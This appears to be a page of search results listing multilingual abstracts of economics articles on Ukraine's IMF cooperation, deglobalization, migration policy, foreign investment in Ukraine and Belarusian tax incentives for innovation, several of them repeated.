Suchergebnisse

The article is devoted to analysis of political and economic cooperation between Ukraine and the IMF during market economy transformation. The authors made critical analysis of the basic methodological approaches in economics to assessment the impact of the implementing IMF lending programs on the dynamics of key macroeconomic variables recipient countries, and the institutional stabilization support of unsteady economic systems. By applying econometric tools, the authors evaluated the efficiency of credit Ukraine's cooperation with the IMF, which made it possible to conclude that IMF loans had a positive impact on GDP and other macroeconomic indicators on the initial stages of this cooperation, but this impact was not traced in periods of repayment and reduce net transfer flows. This conclusion is generally consistent with the research of both domestic and foreign scientists about the negative impact of IMF loan programs on economic growth in most of the recipient countries. These programs can also induce weak negative impulses on democracy and the rule of law in these countries. It also analyzes some political and economic determinants and consequences of the program of reforms initiated by the IMF in 2015-2016 years, in particular: tariff policy – to increase gas prices for households and subsidy programs; reforming the monetary sector – measures to transition to a floating exchange rate and inflation targeting monetary regime; sanitation of the banking sector - implementation of the requirements of the IMF with regarding to the capitalization of commercial banks and their impact on the banking sector of Ukraine; of deregulation and privatization. The thesis was proved that the further deregulation and privatization is a prerequisite for reforming the national economy, but require substantial improvement of the legal framework that ensures transparency and democratic conditions for their implementation. Cooperation of Ukraine and the IMF requires scientific foundation, which provides a detailed analysis of the experience of cooperation, the development of new approaches to forming partnerships based on the national interests of Ukraine, objective assessment of economic efficiency of credit injections into the economy of Ukraine. Keywords: new global financial architecture, macroeconomic imbalances, net transfers IMF, capitalization of banks, deregulation, inflation targeting, floating exchange rate, external debt. ; Статтю присвячено політико-економічному аналізу співпраці України з МВФ в умовах ринкової трансформації економіки. Здійснено критич-ний аналіз основних методологічних підходів в економічній науці до оцінки впливу реалізації кредитних програм МВФ як на динаміку основ-них макроекономічних змінних країн-реципієнтів, так і на інституційне забезпечення стабілізації неусталених господарських систем. Застосувавши економетричний інструментарій, автори провели оцінку ефективності кредитної співпраці України із МВФ, що дало змогу зробити висновок про неоднозначні її наслідки − на початкових етапах цієї співпраці кредити МВФ позитивно впливали на динаміку ВВП та інші макропоказники, проте у періоди повернення кредиту і зменшення чистих трансферних потоків позитивний вплив не простежувався. Такий висновок в цілому узгоджується із результатами досліджень як вітчизняних, так і зарубіжних учених про негативний вплив кредитних програм МВФ на економічне зростання більшості країн-реципієнтів. Ці програми одночасно можуть індукувати слабкі негативні імпульси на розвиток демократії та верховенство закону у цих країнах. У статті також проаналізовано окремі політико-економічні детермі-нанти та наслідки програмних реформ, ініційованих МВФ у 2015-2016 р., у сфері: тарифної політики щодо підвищення ціни на газ для населення та програми субсидування; реформування монетарного сектора − заходи, спрямовані на перехід до плаваючого валютного курсу та монетарного режиму інфляційного таргетування; оздо-ровлення банківського сектору − реалізації вимог МВФ щодо докапі-талізації комерційних банків та їх впливи на стан банківського сектору України; проведення дерегуляції економіки та приватизації. Обґрунтовано тезу про те, що подальша дерегуляція та приватизація є необхідною умовою реформування вітчизняної економіки, однак вимагає суттєвого удосконалення законодавчої бази, яка забезпечить прозорість та демократичність умов їх реалізації. Співробітництво України з МВФ вимагає наукового забезпечення, яке передбачає ґрунтовний аналіз досвіду співпраці,напрацювання нових підходів до формування партнерських відносин, що базуються на врахуванні національних інтересів України, об`єктивну оцінку еконо-мічної ефективності вливання кредитних ресурсів в економіку України.Ключові слова: нова глобальна фінансова архітектура, макроеконо-мічний дисбаланс, чистий трансфер МВФ, докапіталізація банків, дерегуляція економіки, таргетування інфляції, плаваючий валютний курс, зовнішній борг.

This article analyzes the trends of globalization in the international movement of goods, services, capital and the growth of protectionism in the world trade, which is the result of continuing negative processes in the global economy after the recent financial and economic recession. Basing on analysis of key trends and indicators of the level of internationalization of the world economy which means the degree of participation of countries and regions in the world trade, the use of protectionist measures, the dynamics of international capital flows, etc., authors try to verify one of the hypotheses explaining the effect of the slowdown of the world trade, meaning that the global crisis has shown the failure of globalization and the need to develop the first national production. The hypothesis of "deglobalization" is gaining popularity and attracting the attention of governments, particularly to justify protectionist measures. However, the existence of deglobalization in the global economy does not yet has got the explicit confirmation. The arbicle concludes that despite the presence of negative processes in the global economy due to globalization, there is no expressed deglobalization, it negative dynamics of absolute and relative indicators characterizing the activity of the main components of the global economy and the degree of involvement of countries to global processes. Most forecasts agree that in the coming years it is expected rising movement of the most important economic indicators? No matfer that it is weak and be weak, but the upward trend of economic globalization is being renowated. ; В статье анализируются тенденции глобализации в международном движении товаров, услуг и капиталов и рост протекционизма в мировой торговле, что является результатом продолжающихся негативных процессов в мировой экономике, начало которым было положено недавней финансово-экономической рецессией. На основе анализа важнейших тенденций и показателей, характеризующих уровень интернационализации мировой экономики степени участия стран и регионов мира в мировой торговле, использование протекционистских мер, динамики международного движения капитала и т.д. авторы пытаются проверить одну из гипотез, объясняющих эффект снижения темпов роста мировой торговли, которая заключается в том, что мировой кризис показал несостоятельность глобализации и необходимость развития в первую очередь национальных производств. Гипотеза «деглобализации» набирает популярность и привлекает внимание правительств, особенно для обоснования протекционистских мер. Однако само наличие деглобализации в мировой экономике пока не имеет явных подтверждений. Сделан вывод о том, что, несмотря на наличие негативных процессов в мировой экономике, обусловленных глобализацией, отсутствует выраженная деглобализация, то есть отрицательная динамика абсолютных и относительных индикаторов, характеризующих активность главных составляющих мировой экономики и степень вовлеченности стран мира в глобальные процессы. Большинство прогнозов сходятся в том, что в ближайшие годы ожидается поступательное движение вверх важнейших экономических показателей и пусть слабое, но восстановление тенденции к росту экономической глобализации. ; У статті аналізуються тенденцiї деглобалізації в міжнародному русі товарів, послуг і капіталів та зростання протекціонізму у світовій торгівлі, що є результатом триваючих негативних процесів у світовій економіці, початок яким було покладено недавньою фінансово-економічною рецесією. На основі аналізу найважливіших тенденцій і показників, що характеризують рівень інтернаціоналізації світової економіки – ступеня участі країн і регіонів світу в світовій торгівлі, використання протекціоністських заходів, динаміки міжнародного руху капіталу тощо автори намагаються перевірити одну з гіпотез, які пояснюють ефект зниження темпів зростання світової торгівлі, яка полягає в тому, що світова криза показала неспроможність глобалізації і необхідність розвитку в першу чергу національних виробництв. Гіпотеза «деглобалізації» набирає популярність і привертає увагу урядів, особливо для обгрунтування протекціоністських заходів. Однак сама наявність деглобалізації у світовій економіці поки не має явних підтверджень. Зроблено висновок про те, що, незважаючи на наявність негативних процесів у світовій економіці, зумовлених глобалізацією, відсутня виражена деглобалізація, тобто негативна динаміка абсолютних і відносних індикаторів, що характеризують активність головних складових світової економіки і ступінь залученості країн світу в глобальні процеси. Більшість прогнозів сходяться на тому, що в найближчі роки очікується поступальний рух вгору найважливіших економічних показників і нехай слабке, але поновлення тенденції до зростання економічної глобалізації.

This article analyzes the trends of globalization in the international movement of goods, services, capital and the growth of protectionism in the world trade, which is the result of continuing negative processes in the global economy after the recent financial and economic recession.Basing on analysis of key trends and indicators of the level of internationalization of the world economy which means the degree of participation of countries and regions in the world trade, the use of protectionist measures, the dynamics of international capital flows, etc., authors try to verify one of the hypotheses explaining the effect of the slowdown of the world trade, meaning that the global crisis has shown the failure of globalization and the need to develop the first national production. The hypothesis of "deglobalization" is gaining popularity and attracting the attention of governments, particularly to justify protectionist measures. However, the existence of deglobalization in the global economy does not yet has got the explicit confirmation.The arbicle concludes that despite the presence of negative processes in the global economy due to globalization, there is no expressed deglobalization, it negative dynamics of absolute and relative indicators characterizing the activity of the main components of the global economy and the degree of involvement of countries to global processes. Most forecasts agree that in the coming years it is expected rising movement of the most important economic indicators? No matfer that it is weak and be weak, but the upward trend of economic globalization is being renowated. ; В статье анализируются тенденции глобализации в международном движении товаров, услуг и капиталов и рост протекционизма в мировой торговле, что является результатом продолжающихся негативных процессов в мировой экономике, начало которым было положено недавней финансово-экономической рецессией.На основе анализа важнейших тенденций и показателей, характеризующих уровень интернационализации мировой экономики степени участия стран и регионов мира в мировой торговле, использование протекционистских мер, динамики международного движения капитала и т.д. авторы пытаются проверить одну из гипотез, объясняющих эффект снижения темпов роста мировой торговли, которая заключается в том, что мировой кризис показал несостоятельность глобализации и необходимость развития в первую очередь национальных производств. Гипотеза «деглобализации» набирает популярность и привлекает внимание правительств, особенно для обоснования протекционистских мер. Однако само наличие деглобализации в мировой экономике пока не имеет явных подтверждений.Сделан вывод о том, что, несмотря на наличие негативных процессов в мировой экономике, обусловленных глобализацией, отсутствует выраженная деглобализация, то есть отрицательная динамика абсолютных и относительных индикаторов, характеризующих активность главных составляющих мировой экономики и степень вовлеченности стран мира в глобальные процессы. Большинство прогнозов сходятся в том, что в ближайшие годы ожидается поступательное движение вверх важнейших экономических показателей и пусть слабое, но восстановление тенденции к росту экономической глобализации. ; У статті аналізуються тенденцiї деглобалізації в міжнародному русі товарів, послуг і капіталів та зростання протекціонізму у світовій торгівлі, що є результатом триваючих негативних процесів у світовій економіці, початок яким було покладено недавньою фінансово-економічною рецесією. На основі аналізу найважливіших тенденцій і показників, що характеризують рівень інтернаціоналізації світової економіки – ступеня участі країн і регіонів світу в світовій торгівлі, використання протекціоністських заходів, динаміки міжнародного руху капіталу тощо автори намагаються перевірити одну з гіпотез, які пояснюють ефект зниження темпів зростання світової торгівлі, яка полягає в тому, що світова криза показала неспроможність глобалізації і необхідність розвитку в першу чергу національних виробництв. Гіпотеза «деглобалізації» набирає популярність і привертає увагу урядів, особливо для обгрунтування протекціоністських заходів. Однак сама наявність деглобалізації у світовій економіці поки не має явних підтверджень. Зроблено висновок про те, що, незважаючи на наявність негативних процесів у світовій економіці, зумовлених глобалізацією, відсутня виражена деглобалізація, тобто негативна динаміка абсолютних і відносних індикаторів, що характеризують активність головних складових світової економіки і ступінь залученості країн світу в глобальні процеси. Більшість прогнозів сходяться на тому, що в найближчі роки очікується поступальний рух вгору найважливіших економічних показників і нехай слабке, але поновлення тенденції до зростання економічної глобалізації.

In the article the regularities of the international migration processes of human resources are revealed, the methodological principles of the formation of the regulation system such processes in the conditions of geo-economic transformations are theoretically grounded and developed, in particular through the development of a model and mechanism for the formation and implementation of regional migration policy as a result of substantiation of the preconditions and socio-economic consequences of international migration in conditions of geo-economic transformations.The concept of "migration pair" (a combination of the country of origin and the country of destination of migrants, between which historically formed a migration corridor with specific quantitative and structural parameters, characterized by a special institutional, socio-demographic, financial and economic, ethno and cultural as well as other environment of migration processes). The introduction of this imperative into the conceptual apparatus of the study of the international migration process makes it possible to distinguish migration flows taking into account the spatial and institutional aspects of migration corridors, to identify the peculiarities and changes in the environment of the countries of different migration pairs, and to record the trends of migration flows.The work defines the concept of "migration flow", "migration corridor", "migration motive" and "migration attractiveness", as well as the interrelationship between them, that allowed positioning these concepts as objects of study of migration processes. In addition, the interpretation and use of the principles of studying the processes of international migration (temporality, spatiality, communication, mobility) are presented. This allows us to streamline the methodological tools of scientific research and defines the vectors for constructing a classification of international migration taking into account the magnitude and multidimensional nature of migration processes.The classification of international migration has been improved by its systematization and addition by groups of features and types: spatial-temporal, institutional parameters as well as parameters of human resources. Such composition of classification features is achieved through the use of an institutional approach and takes into account the outlined importance of gender-age and educational and professional affiliation of migrants for the formation of human resources and their redistribution in the course of certain types of migration.The trends of geo-economic transformations were identified and their influence on the international migration of human resources was highlighted (regionalization and globalization of geo-economic space, strengthening of geo-economic risks, transformation of TNCs into supranational centers of economic development, transformation of geoeconomic space, structural changes in the world economy, virtualization of economic and other processes). This allowed formulating options for countries to join the processes of international migration on the basis of countries belonging to the centers of economic development, the general features of their migration policy, the places of countries in the composition of the migration pair, the level of development of the institutional environment for the regulation of migration processes, the availability of certain types of migration.The influence of the ecological and natural type of geo-economic risk on the formation of repulsive factors, as well as the mechanisms of its formalization, has been characterized by substantiating the clustering methodology of regional integration associations at the risk of extreme climatic events as a component of the specified type of risk. This allows to taken into account it when assessing the country's migration attractiveness and forecasting the formation of migratory motives of the population, as well as formulating the task of regulating migration processes under extreme climatic events.In addition, the influence of the politico-security type of geo-economic risk as a precondition for the formation of migration flows from countries where military and political conflicts and other threats of military and political instability are recorded, are determined. This allows identifying the components of this type of risk in assessing the country's migration attractiveness and migratory motives of the population, as well as formulating the task of regulating international migration of refugees in conditions of military conflicts and post-conflict situations.The study formulates the tasks of regulating international migration in the countries of migration, which should be implemented in employment policy, educational, social, informational, fiscal, monetary, investment and other policies and aimed at the integration of migrants and overcoming socio-economic issues associated with migration. This was done on the basis of the justification of the impact of international migration and remittances on economic development of the countries in the conditions of geo-economic transformations, human resources formation and poverty reduction, which included: 1) the formation of risks and opportunities for countries to join the processes of international migration of human resources taking into account the role of the country in the migration pair; 2) the outline of the environmental factors of the implementation of remittances according to the suggested stages, which determine the parameters of remittances; 3) identification of economic, social and demographic consequences of migration based on the stratification of human resources.The system of determinants of the formation of migration motives consisting of economic, socio-demographic, political-security, language and cultural, as well as ecological and natural determinants is suggested. They are formed by taking into account the influence of institutional factors in the relevant environment of countries and the manifestation of personal perception of the factors of pushing out. This made it possible to determine the factors that should be taken into account when studying and formalizing the preconditions of migration processes.In this paper an approach to assessing geo-economic risks of countries is formed, which involves determining the corresponding integral indicator of the country. This allows countries to be positioned on specific types of geo-economic risk and integral indicators, as well as clustering countries according to the level of geoeconomic risk and the intensity of the use of migration human resources. This approach will help to determine the vectors of the elements of the migration policies of the countries, based on the cluster to which they belong, to perform their comparative analysis, as well as outline the implementation of other policies governing the processes of migration and the integration of migrants.A tool for identifying the connection of international migration of human resources with geo-economic risks is suggested, which is represented by the formation of an indicator of migration attractiveness, which allows to explain migration flows between countries based on their level of migration attractiveness. The approach to assessing the attractiveness of migration through the formation of its integral indicator and the approach to the normalization of the partial indicators enable to adapt the model and use it to assess the migration attractiveness of the countries in the comparative aspect.The information support of the regulation of international migration processes at the international, regional and national levels is developed, based on which the model of the multilevel information field is formed, which includes the following systems: 1) monitoring of the change of determinants of the formation of migration motives according to the determined indicators; 2) monitoring of potential and actual migration flows by stratification groups; 3) monitoring the risks of institutional breaks and institutional conflicts; 4) dissemination of information on the state and issues of international migration of human resources. It allows to build communication links between subjects of regulation of processes of international migration of human resources and improve its institutional environment.As a result, the conceptual principles of the institutional model of regional regulation of migration processes have been theoretically substantiated and developed, in which the subjects of the formal and informal institutional environment of regional regulation of international migration are structured, the functions of regional migration policy (regulatory, diversification, integration, mobilization) are highlighted, directions of its implementation are formulated for the country to benefit from international migration and reduction of geo-economic risks. This allows on the basis of decomposition of the provisions of such a policy as well as its coordination with other policies to solve regional issues of migration of human resources, outlined on the basis of analysis of cause-effect relations of migration in the course of geo-economic transformations and established issues of regulation of migration flows in selected regional integration associations. ; В роботі виявлені закономірностей процесів міжнародної міграції людських ресурсів, теоретично обґрунтовано та розроблено методологічні засади формування системи регулювання таких процесів в умовах геоекономічних трансформацій, зокрема через розробку моделі та механізму формування та реалізації регіональної міграційної політики у результаті обґрунтування передумов та соціально-економічних наслідків міжнародної міграції в умовах геоекономічних трансформацій.В роботі введено поняття «міграційна пара» (комбінація країни походження та країни призначення мігрантів, між якими історично сформувався міграційний коридор зі специфічними кількісними та структурними параметрами, що характеризується особливим інституційним, соціо-демографічним, фінансово-економічним, етнічно-культурним та іншим середовищем міграційних процесів). Введення даного імперативу в понятійний апарат дослідження процесу міжнародної міграції дозволяє виокремлювати міграційні потоки з урахуванням просторового та інституційного аспектів міграційних коридорів, ідентифікувати особливості та зміну середовища країн різних міграційних пар, а також фіксувати тенденції міграційних потоків.В роботі визначено поняття «міграційний потік», «міграційний коридор», «міграційний мотив» та «міграційна привабливість», а також взаємозв'язків між ними, що дозволило позиціонувати дані поняття як об'єкти дослідження міграційних процесів. Крім того, дано трактування та конкретизовано використання принципів дослідження процесів міжнародної міграції (темпоральності, просторовості, комунікації, мобільності). Це дозволяє упорядкувати методичний інструментарій наукового дослідження та визначає вектори побудови класифікації міжнародної міграції з урахуванням масштабності та багатоаспектності міграційних процесів.Удосконалено класифікацію міжнародної міграції шляхом її систематизації та доповнення за групами ознак та видами: просторовочасовими, інституційними параметрами та параметрами людських ресурсів. Така композиція класифікаційних ознак досягнута завдяки використанню інституційного підходу та враховує окреслене значення статево-вікової та освітньо-професійної приналежності мігрантів для формування людських ресурсів, їх перерозподілу в ході окремих видів міграції.Ідентифіковано тенденції геоекономічних трансформацій та окреслено їх вплив на міжнародну міграцію людських ресурсів (регіоналізація та глокалізація геоекономічного простору, посилення геоекономічних ризиків, трансформація ТНК у наднаціональні центри економічного розвитку, трансформація геоекономічного простору, структурні зміни у світовому господарстві, віртуалізація економічних та інших процесів). Це дозволило сформулювати варіанти долучення країн до процесів міжнародної міграції на основі приналежності країн до центрів економічного розвитку, загальні риси їх міграційної політики, місця країн у складі міграційної пари, рівня розвитку інституційного середовища регулювання міграційних процесів, наявності окремих видів міграції.Охарактеризовано вплив еколого-природничого типу геоекономічного ризику на формування факторів виштовхування, а також механізми його формалізації через обґрунтування методики кластеризації регіональних інтеграційних об'єднань за ризиком екстремальних кліматичних подій як складової вказаного типу ризику. Це дозволяє врахувати його при оцінці міграційної привабливості країни та прогнозуванні формування міграційних мотивів населення, а також сформувати завдання регулювання міграційних процесів в умовах екстремальних кліматичних подій.Крім того, визначено вплив політико-безпекового типу геоекономічного ризику як передумови формування міграційних потоків з країн, де зафіксовано військово-політичні конфлікти та інші загрози військово-політичної нестабільності. Це дає змогу визначити складові даного типу ризику при оцінці міграційної привабливості країни та міграційних мотивів населення, а також сформулювати завдання регулювання міжнародної міграції біженців в умовах військових конфліктів та постконфліктного стану.В дослідженні сформульовано завдання регулювання міжнародної міграції в країнах міграційної пари, які повинні бути імплементовані у політику зайнятості, освітню, соціальну, інформаційну, фіскальну, монетарну, інвестиційну та інші політики та спрямовані на інтеграцію мігрантів та подолання соціально-економічних проблем, пов'язаних з міграцією. Це здійснено на основі обґрунтування впливу міжнародної міграції та грошових переказів на економічний розвиток країн в умовах геоекономічних трансформацій, формування людських ресурсів та подолання бідності, що включало: 1) формування ризиків та можливостей долучення країн до процесів міжнародної міграції людських ресурсів з урахуванням ролі країни у міграційній парі; 2) окреслення факторів середовища здійснення грошових переказів за запропонованими етапами, що визначають параметри грошових переказів; 3) визначення економічних, соціальних, демографічних наслідків міграції виходячи зі стратифікації людських ресурсів.Запропоновано систему детермінантів формування міграційних мотивів, що складаються з економічних, соціо-демографічних, політико-безпекових, мовно-культурних та еколого-природничих детермінантів. Вони сформовані шляхом врахування дії інституційних факторів у відповідному середовищі країн та прояву особистісного сприйняття факторів виштовхування. Це дозволило визначити фактори, які слід враховувати при вивченні та формалізації передумов міграційних процесів.В роботі сформовано підхід до оцінки геоекономічних ризиків країн, який полягає у визначенні відповідного інтегрального показника країни. Це дозволяє позиціонувати країни за окремими типами геоекономічного ризику та інтегральним показником, а також кластеризувати їх країн за рівнем геоекономічного ризику та інтенсивністю використання міграційних людських ресурсів. Такий підхід сприятиме визначенню векторів елементів міграційних політик країн, виходячи з кластеру, до якого вони належать, здійснювати їх компаративний аналіз, а також окреслювати напрями реалізації інших політик, що регулюють процеси руху та інтеграції мігрантів.Запропоновано інструмент ідентифікації зв'язку міжнародної міграції людських ресурсів з геоекономічними ризиками, що представлено через формування показника міграційної привабливості, що дозволяє пояснювати міграційні потоки між країнами виходячи з рівня їх міграційної привабливості. Підхід до оцінки міграційної привабливості через формування її інтегрального показника та підхід до нормалізації часткових показників дають змогу адаптувати модель та використовувати її для оцінки міграційної привабливості країн у компаративному аспекті.Розроблено інформаційне забезпечення регулювання процесів міжнародної міграції на міжнародному, регіональному та національному рівнях, базисом якого є сформована модель багаторівневого інформаційного поля, яке включає системи: 1) моніторингу зміни детермінантів формування міграційних мотивів за визначеними індикаторами; 2) моніторингу потенційних та фактичних міграційних потоків за стратифікаційними групами; 3) моніторингу ризиків інституційних розривів та інституційних конфліктів; 4) поширення інформації про стан та проблеми міжнародної міграції людських ресурсів. Це дозволяє будувати комунікаційні зв'язки між суб'єктами регулювання процесів міжнародної міграції людських ресурсів та удосконалити його інституційне середовище.У результаті теоретично обґрунтовано та розроблено концептуальні засади інституційної моделі регіонального регулювання міграційних процесів, у якій структуровано суб'єктів формального та неформального інституційного середовища регіонального регулювання міжнародної міграції, виділено функції регіональної міграційної політики (регуляторна, диверсифікаційна, інтеграційна, мобілізаційна), сформульовано напрями її реалізації для отримання країною переваг від міжнародної міграції та зниження геоекономічних ризиків. Це дозволяє на основі декомпозиції положень такої політики та її узгодження з іншими політиками вирішувати регіональні проблеми міграції людських ресурсів, окреслені на основі аналізу причиннонаслідкових зв'язків міграції в ході геоекономічних трансформацій та встановлених проблем регулювання міграційних потоків у обраних регіональних інтеграційних об'єднаннях.

У статті розглянуто засади залучення прямих іноземних інвестицій, визначено особливості для приймаючих країн. Проаналізовано ефект на основі якісних і кількісних показників залучення європейських інвестицій для економіки України. Виявлено основні фактори, які впливають на іноземні інвестиції та розроблено економетричну модель впливу цих незалежних змінних, таких як, рівень споживання, рівень інфляції, зовнішній борг, на приріст європейських інвестицій, враховуючи сучасний стан вітчизняної економіки та євроінтеграційний вектор розвитку. Розкрито та проаналізовано структурні та інституційні фактори в національній економіці, які впливають на обсяги залучених іноземних інвестицій. Узагальнено причини повільного зростання в економіці України такі, як політичний фактор, слабкий розвиток певних секторів економіки (машинобудування, гірничобудування та інші), а також затримки з ключовими реформами для подальшого посилення довіри інвесторів. Разом з тим, зазначено, що Україна має серйозні потреби в інвестиціях та фінансуванні власних потреб, а це вимагатиме мобілізації значних міжнародних фінансових ресурсів для підтримки макроекономічної стабільності. Доведено, що у випадку коли економічні перспективи покращуються, відбувається зростання потоків інвестицій на світовому ринку, оскільки очікується зростання попиту в майбутньому. Обґрунтовано, що інвестиції мають циклічний характер: в умовах рецесії економіки інвестиції спадають, і навпаки з економічним ростом інвестиції зростають. Запропоновано створити і реалізувати умови щодо покращення макроекономічної стабільності в державі, сприяння подальшому проведенню реформ, зменшення рівня корупції, створення сприятливого інвестиційного та бізнес-середовища, стабільного правового та інституційного середовища, підвищення рівня конкурентоспроможності ; The article considers the principles of foreign direct investments attraction, the particularities of this process for host countries are determined. The effect is analyzed on the basis of qualitative and quantitative indicators of European investments attracting for economy of Ukraine. The main factors that influence on the foreign investments are identified, and also developed an econometric model of these independent variables influence, such as consumption level, inflation rate, external debt, on the European investments growth, taking into account the current state of domestic economy and European integration development vector. The structural and institutional factors in the national economy that significantly affect on an attracted foreign investment volume are disclosed and analyzed. The reasons for the slow domestic economic growth, such as the political factor, poor development of certain sectors of economy (engineering, mining and others), are summarized, and also delays with the major reforms implementation for further enhance of investors' confidence. At the same time, it was noted that Ukraine has serious needs in investments and financing of its own needs and this requires of significant international financial resources mobilization for maintaining of macroeconomic stability. It is proved that in the case when economic prospects improving, there is an increase in investment flows in the world market, because demand growth is expected in the future. It is substantiated that investments are cyclical: in conditions of economic recession, investments come and, conversely, with economic growth investments grow. It is proposed to create and implement conditions for macroeconomic stability improving in the state, to facilitate further reforms, to reduce a corruption level, to create a favorable investment and business environment, a stable legal and institutional environment, and competitiveness level increasing. ; В статье рассмотрены основы привлечения прямых иностранных инвестиций, определены особенности данного процесса для принимающих стран. Проанализирован эффект на основе качественных и количественных показателей привлечения европейских инвестиций в экономику Украины. Выявлены основные факторы, которые влияют на иностранные инвестиции, а также разработана эконометрическая модель влияния этих независимых переменных, таких как уровень потребления, уровень инфляции, внешний долг, на прирост европейских инвестиций, учитывая современное состояние отечественной экономики и евроинтеграционный вектор развития. Раскрыты и проанализированы структурные и институциональные факторы в национальной экономике, которые существенно влияют на объемы привлеченных иностранных инвестиций. Обобщены причины медленного отечественного экономического роста такие, как политический фактор, слабое развитие определенных секторов экономики (машиностроение, горнодобывающая промышленность и другие), а также задержки с проведением основных реформ для дальнейшего усиления доверия инвесторов. Вместе с тем, отмечено, что Украина имеет серьезные потребности в инвестициях и финансировании собственных нужд, а это требует мобилизации значительных международных финансовых ресурсов для поддержания макроэкономической стабильности. Доказано, что в случае, когда экономические перспективы улучшаются, происходит рост потоков инвестиций на мировом рынке, поскольку ожидается рост спроса в будущем. Обосновано, что инвестиции имеют циклический характер: в условиях рецессии экономики инвестиции приходят и, наоборот, с экономическим ростом инвестиции растут. Предложено создать и реализовать условия для улучшения макроэкономической стабильности в государстве, способствовать дальнейшему проведению реформ, уменьшению уровня коррупции, созданию благоприятной инвестиционной и бизнес среды, стабильной правовой и институциональной среды, повышению уровня конкурентоспособности.

У статті розглянуто засади залучення прямих іноземних інвестицій, визначено особливості для приймаючих країн. Проаналізовано ефект на основі якісних і кількісних показників залучення європейських інвестицій для економіки України. Виявлено основні фактори, які впливають на іноземні інвестиції та розроблено економетричну модель впливу цих незалежних змінних, таких як, рівень споживання, рівень інфляції, зовнішній борг, на приріст європейських інвестицій, враховуючи сучасний стан вітчизняної економіки та євроінтеграційний вектор розвитку. Розкрито та проаналізовано структурні та інституційні фактори в національній економіці, які впливають на обсяги залучених іноземних інвестицій. Узагальнено причини повільного зростання в економіці України такі, як політичний фактор, слабкий розвиток певних секторів економіки (машинобудування, гірничобудування та інші), а також затримки з ключовими реформами для подальшого посилення довіри інвесторів. Разом з тим, зазначено, що Україна має серйозні потреби в інвестиціях та фінансуванні власних потреб, а це вимагатиме мобілізації значних міжнародних фінансових ресурсів для підтримки макроекономічної стабільності. Доведено, що у випадку коли економічні перспективи покращуються, відбувається зростання потоків інвестицій на світовому ринку, оскільки очікується зростання попиту в майбутньому. Обґрунтовано, що інвестиції мають циклічний характер: в умовах рецесії економіки інвестиції спадають, і навпаки з економічним ростом інвестиції зростають. Запропоновано створити і реалізувати умови щодо покращення макроекономічної стабільності в державі, сприяння подальшому проведенню реформ, зменшення рівня корупції, створення сприятливого інвестиційного та бізнес-середовища, стабільного правового та інституційного середовища, підвищення рівня конкурентоспроможності ; The article considers the principles of foreign direct investments attraction, the particularities of this process for host countries are determined. The effect is analyzed on the basis of qualitative and quantitative indicators of European investments attracting for economy of Ukraine. The main factors that influence on the foreign investments are identified, and also developed an econometric model of these independent variables influence, such as consumption level, inflation rate, external debt, on the European investments growth, taking into account the current state of domestic economy and European integration development vector. The structural and institutional factors in the national economy that significantly affect on an attracted foreign investment volume are disclosed and analyzed. The reasons for the slow domestic economic growth, such as the political factor, poor development of certain sectors of economy (engineering, mining and others), are summarized, and also delays with the major reforms implementation for further enhance of investors' confidence. At the same time, it was noted that Ukraine has serious needs in investments and financing of its own needs and this requires of significant international financial resources mobilization for maintaining of macroeconomic stability. It is proved that in the case when economic prospects improving, there is an increase in investment flows in the world market, because demand growth is expected in the future. It is substantiated that investments are cyclical: in conditions of economic recession, investments come and, conversely, with economic growth investments grow. It is proposed to create and implement conditions for macroeconomic stability improving in the state, to facilitate further reforms, to reduce a corruption level, to create a favorable investment and business environment, a stable legal and institutional environment, and competitiveness level increasing. ; В статье рассмотрены основы привлечения прямых иностранных инвестиций, определены особенности данного процесса для принимающих стран. Проанализирован эффект на основе качественных и количественных показателей привлечения европейских инвестиций в экономику Украины. Выявлены основные факторы, которые влияют на иностранные инвестиции, а также разработана эконометрическая модель влияния этих независимых переменных, таких как уровень потребления, уровень инфляции, внешний долг, на прирост европейских инвестиций, учитывая современное состояние отечественной экономики и евроинтеграционный вектор развития. Раскрыты и проанализированы структурные и институциональные факторы в национальной экономике, которые существенно влияют на объемы привлеченных иностранных инвестиций. Обобщены причины медленного отечественного экономического роста такие, как политический фактор, слабое развитие определенных секторов экономики (машиностроение, горнодобывающая промышленность и другие), а также задержки с проведением основных реформ для дальнейшего усиления доверия инвесторов. Вместе с тем, отмечено, что Украина имеет серьезные потребности в инвестициях и финансировании собственных нужд, а это требует мобилизации значительных международных финансовых ресурсов для поддержания макроэкономической стабильности. Доказано, что в случае, когда экономические перспективы улучшаются, происходит рост потоков инвестиций на мировом рынке, поскольку ожидается рост спроса в будущем. Обосновано, что инвестиции имеют циклический характер: в условиях рецессии экономики инвестиции приходят и, наоборот, с экономическим ростом инвестиции растут. Предложено создать и реализовать условия для улучшения макроэкономической стабильности в государстве, способствовать дальнейшему проведению реформ, уменьшению уровня коррупции, созданию благоприятной инвестиционной и бизнес среды, стабильной правовой и институциональной среды, повышению уровня конкурентоспособности.

The lack of the necessary resources directed to innovations and technology at the enterprises is one of the main reasons explaining low effectiveness of the Belarusian innovative system. It demonstrates the need to accelerate an implementation of the state strategy of scientific research and innovations support in Belarus. Tax tools are the defining mechanism of stimulation of activity of the companies in the field of innovative development.Reference points in the sphere of innovative development in Belarus are fixed by a number of national regulations, in which are defined the tools and methods of the Belarusian state innovative policy. And it's main objective is to create favorable social-economical, organizational and legal conditions for innovative development and to increase the competitiveness of national economy.It is inefficient to make use of experience of application tax benefits by foreign countries directly, including those relatives of Belarus on structure of economy or on rates of development. It is necessary to define priorities of support in use of instruments of tax incentives from the point of view of subjects of support.The certain problems are peculiar to the granting privileges on payment of taxes and fees as the instrument of increase in innovative activity of economic entities in Republic of Belarus:- the increase in tax benefits can lead to abuses for reduction of the tax obligations by the companies;- direct stimulation of consumers of the knowledge-intensive production isn't provided in the existing Belarusian legislation, at the same time they define demand for this products.The article considers the economic maintenance and structure of tax benefits, which are applied in Belarus. The author offered to add them with tax incentives, which will contribute to more successful development of innovative activity. To stimulate the companies to participate in scientific, technical and innovative activity it is offered to grant the right for a privilege on scientific research and development to those employers, who carry out duties of tax agents on deduction of income tax from the salary and contributions to the Fund of social protection in case if such employers have employees who are carrying out scientific research and developments. Scientific research and developments to which such privilege can be applied have to be carried out at the expense of own company funds. To receive the privilege, the company and individual entrepreneurs have to submit independently applications to specially created organization at the Ministry of Economics of Republic of Belarus, which can define for each project the degree of novelty's compliance in comparison to the established requirements. The offered privilege can give an opportunity of reduction of a rate of contributions to the Fund of social protection for 40 percent, and for the newly created small and medium-sized innovative companies it is expedient to increase the amount of reduction to 60 percent. The proposed measure is aimed to stimulate the innovative activity by the companies, which have no profit or its level is insignificant. Besides, this privilege promotes additional investments into the human capital.It is also offered to include expenses, which are incurred by the taxpayer on the state registration of results of intellectual activity on 